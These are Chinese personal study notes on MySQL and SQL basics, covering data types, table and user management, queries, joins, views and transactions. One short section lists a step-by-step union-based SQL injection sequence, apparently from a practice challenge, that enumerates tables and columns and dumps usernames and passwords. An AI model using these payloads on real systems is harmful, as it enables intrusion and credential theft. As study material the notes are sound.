基本MySQL笔记
- 未设置环境变量之前需要在dos下进入mysql安装目录的bin目录执行 mysql -uroot(u用户名)-p进入数据库,设置完path环境变量之后可直接在其他目录下执行mysql -uroot -p 进入数据库
- MySQL命令需以英文分号“;”结束命令,结尾的符号可以被修改。命令不区分大小写,
- 启动mysql服务:
以管理员身份运行dos输入命令 net start mysql56关闭mysql服务:
以管理员身份运行dos输入命令 net stop mysql56
- 单行注释
#注释
-- (空格)注释
多行注释
/*注释*/
刷新: flush privileges;
查询:select 字段名(uid,username,password) from 数据库名.数据表名;
查询指定字段的值:select * from 数据库名.数据表名 where 字段=><值(字符型的要用‘’)
目录
1.数据类型 2.字段名修饰 3.运算符
4.SQL语句的分类 5 . 数据库的相关操作DDL
6.数据表的相关操作DDL 7. 数据操作语言DML
8.DCL操作
- 数据类型
整型
浮点型
定点型→→decimal(m,d)数字 ,
形式为decimal(数字位数,小数位数)数字
例:decimal(4,2)13.14
比浮点型精确,不会四舍五入
字符串型 char(长度) → 定长,不够用空格补,多了截掉
varchar(长度)→ 可变长度,根据字符长度自己调整
长文本类型 text
时间类型
- 字段名修饰
列名的修饰
↓↓↓
unsigned(表示无负号,即值为正值)
auto_increment(自增)
default(默认值)
comment(对字段进行解释)
not null (非空)
索引
unique(唯一索引)
index(普通索引)
primary key(主键)
auto_increment必须制定为primary key
- 运算符
= (可用作赋值号和判断)
!= 与 <> (都是不等于的意思)
< > <= >=
or 或者 ||
and 且 &&
between......and
In (在什么里面) in(1,2,3) not in(不再里边)
- SQL语句的分类
DDL(date defination language)数据定义语言
作用:创建 删除 修改 库表结构(重点)
DML(date manipulation language)数据操作语言
作用:增 删 改 表的记录(重点)
DCL(date control language)数据控制语言
作用:用户的创建以及授权(懂即可)
DQL(date query language)数据查询语言
作用:查询数据(重点)
- 数据库相关操作DDL
查看所有的数据库 →→ show databases
切换数据库 →→ use 数据库名
创建新数据库 →→ create database 数据库名
删除数据库 →→ drop database 数据库名
- 数据表的相关操作DDL
创建前要先选择数据库,否则会报错
创建数据表结构:
create table 表名(
列名 列类型 其他关键词,
.........
列名 列类型
);
查看当前数据库的表:
show tables;
查看表结构:
desc 表名
- 数据操作语言DML
对表记录的(增删改)
插入数据:
insert into 表名(列1,列2,列3...) values(列值1,列值2.....) 列和值是一一对应的
查看表中数据:
select * from 表名;
更新表中数据:
Update 表名 set 列1=列值1,列2=列值2, where条件
不加where条件会修改所有的记录
修改数据的几种方法
删除:
delete from 表名 where 条件
不加where条件会删除所有的记录
还有一个删除表记录就是 truncate 表名 是DDL的
truncate 表名
清除所有表中数据,重新插入数据时并会从头开始排
- DCL操作
选择mysql数据库后,输入命令select user,host from user; 可查看用户情况。
修改密码
Ⅰ:选择mysql数据库,
输入select user,host,password from user;然后使用update命令更换密码;(即一步一步选择表数据,修改)
Ⅱ:通过访问bin目录下的mysqladmin文件修改密码(暂不可使用)
输入命令 mysqladmin -u用户名 -p原密码 password 新密码
忘记密码
进入mysql安装目录bin目录,通过dos进入bin目录,然后输入mysqld --skip-grant-tables;重新输入mysql后可跳过输入密码,输入use mysql进入mysql数据库,(输入select * from user;)更新表中密码数据即可更换密码,即用命令 update user set password=password(‘*****’) where user=’root’; 然后输入 flush privileges; 刷新下重新进入即可。
创建用户
create user 用户名 @’IP地址’ identified by ‘密码’
(此用户只能在制定的ip地址上使用, 如果想用所有的ip都可以的话用 @%)
用户授权
grant 权限一,权限二,.... on 数据库名.* to 用户名@IP地址(或者%)
(所有的数据库 就用 *.* 所有的权限就用all或者all privileges)
撤销权限
revoke权限一,权限二...... on 数据库名.*from 用户名@IP地址(或者%)
然后退出ZHI用户重新登陆,查看select权限被剥夺
把创建用户和分配权限放在一起实现
查看用户权限
show grants for ‘用户名’ @’IP’
删除用户
drop user 用户名@IP地址
打开服务:service sql start
进入数据库:mysql -u root -p
查看数据库:show databases;
进入数据库:use 库名
查看当前数据库中所有表:show tables;
查看字段名:desc 表名;
查询:select 字段名(uid,username,password) from 数据库名.数据表名;
查询指定字段的值:select * from 数据库名.数据表名 where 字段=><值(字符型的要用‘’)
select SCHEMA_NAME from schemata;
schemata表中SCHEMA_NAME字段存放的是数据库名称
sql注入基本步骤:
1.order by 数字
查出列数
2.union select 1,2,3
查出展示位
3.union select 1,user(),database()
查出用户名,数据库名challenge
4.select group_concat(table_name) from information_schema.tables where table_schema='challenge’
查出表名:emails,users
5.(select group_concat(column_name) from information_schema.columns where table_schema='challenge' and table_name='users')
查出users表的字段名id,username,password
6.(select group_concat(concat_ws(0x7e,username,password)) from challenge.users)
查出用户信息
concat_ws()自动插入分隔符
目录
9.分组数据
10.使用子查询
检索数据
从1表中检索2,3,4的列:
select 2,3,4(所有列*) from 1;
从1表中检索2的列的不同值:
select distinct 2(所有列*) from 1;
(使用distinct关键字必须放在列前面)
从1表中检索m列的前n行的值 (不同的DBMS有不同的语法) :
Mysql,MariaDB,PostgreSQL:select m(所有列*) from 1 limit n;
DB2:select m from 1 fetch first n rows only;
Oracle:select m from 1 where rownum <=n;
从1表中检索m的列从a行开始的b行的值:
select m from 1 limit b offset a;
注释:--注释内容;#注释内容;/*内容*/(多行)
排序检索数据
升序排列某一列数据:
select 列 from 表 order by 列;(order by为最后的字句)
升序排列多列(a表中的吗m,n列先按m排序后按n排序):
select m,n from a order by m,n(1,2);
降序排列多列(a表中的吗m,n列先按m排序后按n排序):
select m,n from a order by m desc,n desc;
过滤数据
Where子句操作符:
=等于;<>,!=不等于;<小于;>大于; >=大于等于; !>不大于; !<不小于; between 。。。。and在指定的两个值之间; is null为null值;
条件限定查询:
select m,n from a where 限定条件 order by 排序规则;
例:select name,id from cityone where id>=5 order by id desc,name;
高级数据过滤
And过滤(1,2条件都得满足):优先级高于or
select 列 from 表 where 条件1 and 条件2;
例:检索id大于5且name值不为aa的数据
select m,n from a where id>a and name!=‘aa’;
or 过滤(1,2条件满足其一即可):
select 列 from 表 where 条件1 or 条件2;
优先级易错点:
Select m,n from a where name=1 or name=2 and age>10;
由于and的优先级大于or,所以此语句的意思是检索出name值为2并且age大于10或者name为1 的数据;
若想检索name为1,2且age大于10的sql语句为:
Select m,n from a where (name=1 or name=2)and age>10;(()优先级最高)
In过滤:
Select m,n from a where m in (a,b) order by n;
检索a表中m列中名为a,b的值输出对应的n列的值,相当于or语句:
Select m,n from a where m=a or m=b order by n;
Not过滤:
Select m,n from a where not m=’aa’order by n,m;
检索出除m=aa以外的值
用通配符进行过滤
%通配符(%表示任意字符出现任意次数):
Select m,n from a where n like ‘a%’;
检索出n列中以a开头的所有值;
_通配符(一个_只匹配一个字符):
Select m,n from a where n like ‘_a’;
[]通配符:
Select m,n from a where n like ‘[ab]%’;
检索以a或b开头的所有数据;
Select m,n from a where n like ‘[^ab]%’;
检索除了以a或b开头的所有数据;
创建计算字段
拼接字段:
Select m + ‘(’+ n + ‘)’ from a ;
或Select m || ‘(’n || ‘)’ from a;
消除空格:select rtrim(m) + ‘(’+ n + ‘)’ from a ;
Select m + ‘(’+ n + ‘)’as aa from;(设置别名为aa,||同上)
Select concat(m,‘(’n,‘)’) from a;(mysql mariadb)
Select concat(m,‘(’n,‘)’) as aa from a;(mysql mariadb别名设置)
列与列之间的运算(运算符*-+/):
Select m,n,m*n as sum from a;
使用函数处理数据
大(小)写转换函数:upper(),lower()
Select m,upper(m) as n from a;
检索字符串左(右)边的n个字符:left(列,n),right(列,n)
Select left(列,n) from a;
返回字符串长度:length()
Select m,length(m) from a;
去掉字符串左(右)边的空格:ltrim(),rtrim()
Select m,ltrim(m) from a;
检索发音相似:soundex()
Select m,n from a where soundex(m)=soundex(‘字符串’);
数值处理函数:
绝对值Abs(); 余弦cos(); 正弦sin(); 指数值exp();
圆周率pi(); 平方根sqrt(); 正切tan()
汇总数据
求列平均值:avg()
Select avg(m) from a where name=‘n’;
求m列name的值为n的平均值
计算列的行数:count()
Select count(*) as b from a;
返回列中最大(小)值:max(),min()
Select max(m) from a;
求指定列的和:sum()
Select sum(m) as sum from a;
只包含不同的值,指定distinct:(上面四种函数都适用)
Select sum(distinct m) as n from a;
分组数据
创建分组:group by
Selct m,count(*) from a group by m;
分组表示m列的行数;
过滤分组+排序:having
Select m,count(*) from a group by m having count(*)>=2 order by m;
使用子查询
利用子查询进行过滤:
Cityone 表中存放的是用户id及姓名;people 表存放的是用户的年龄。
根据id查名字,再根据名字查年龄:
Select name from cityone where id=2;查出name=bb
Select age from people where name in(‘bb’);
相当于子查询的:Select age from people where name in(select name from cityone where id=2);
作为计算字段使用子查询:
Cityone 表中存放的有用户姓名;people表存放的也有用户的姓名。
利用子查询查出people表中的name在cityone中出现的次数:
Select name,(select count(*) from cityone where cityone.name=people.name) as sum from people;
联结表
创建联结:返回多个表中的数据
Select m,n from a,b where a.id=b.id;
其中m列在a表中,n列在b表中
内联结:
Select m,n from a inner join b on a.id=b.id;(查询效果同上)
联结多个表:
Select m,n,p from a,b,c where a.id=b.id and b.id=c.id;
创建高级联结
使用表别名:(oracle中不用as直接用表名 别名)
Select m,n,p from name as a,age as e,high as h where a.id=e.id and e.id=h.id;
自联结
这是利用子查询查找b表中id 为2的name,在a表中查出年龄:
Select name,age from a where name=(select name from b where id=2);
这是使用自联结:
Select name,age from aaaa as a,bbbb as b where a.name=b.name and b.id=2;
外联结:left或right指的是outer join左右的表
Select name,age from aaaa left outer join bbbb on aaaa.id=bbbb.id and bbbb.name=’cc’;
与内联结相反,外联结是显示除了name=’cc’以外的信息,left是指从bbbb左边选择所有行;
组合查询
创建组合查询:默认是合并重复的行的,若要全部显示用union all
Select m,p from a where n in (‘aa’,‘bb’);
Select m,p from b where q=‘cc’;
相当于:Select m from a where n in (‘aa’,‘bb’) union Select p from b where q=‘cc’order by m;(排序只能在最后使用一个order by)
插入数据
插入行:
不够安全的写法:Insert into 表名 values(各个列的值);
安全的写法:insert into 表名(列名) values(对应前面列的值);
插入检索出的数据:
Insert into a(m,n,p,q) select m,n,p,q from b;
从一个表复制到另一个表:
Select * into 新表名 from 原表名;
或
Create table 新表名 as select * from 原表名;
更新和删除数据
更新数据:
Update 表名 set 列名=更改值,列名=更改值 where 限制条件;
例:update a set m=’aa’,n=’bb’ where id=1;
删除数据:删除整行
Delete from 表名 where 限制条件;
例: delete from a where id=3;
创建和操纵表
创建表:default为设置默认值,可选
Create table 表名(列名 数据类型 not null或null default 默认值);
例: create table a(m int not null,n varchar null);mysql中varchar改为text
删除列,添加列:
alter table 表名 add column 列名 varchar(30);
alter table 表名 drop column 列名;
删除表:
Drop table 表名;
Mysql重命名表名:
Rename table 旧表名 to 新表名;
创建视图
创建视图:
Create view 视图名 as select m,n from a,b,where a.id=b.id
使用视图查询:
Select name from 视图名 where id=1;
使用视图格式化检索的结果:
Create view 视图名 as select concat(name,’(’,age,’)’) as b from a;
Select * from 视图名;
删除视图:
Drop view 视图名;
管理事务处理
Sql server:
Begin transaction
Sql语句
Save transaction delete1; //设置保留点delete1
If …… //判断条件
Rollback transaction delete1; //回退到保留点delete1
Commit transaction
例:begin transaction
Commit transaction
Mysql MariaDB:
Start transaction
Delete m where name=’aa’
Savepoint delete1; //设置保留点delete1
If……
Rollback to delete1; //回退到保留点delete1
Commit;
Oracle :
Set transaction
Savepoint delete1; //设置保留点delete1
If……
Rollback to delete1; //回退到保留点delete1
Commit;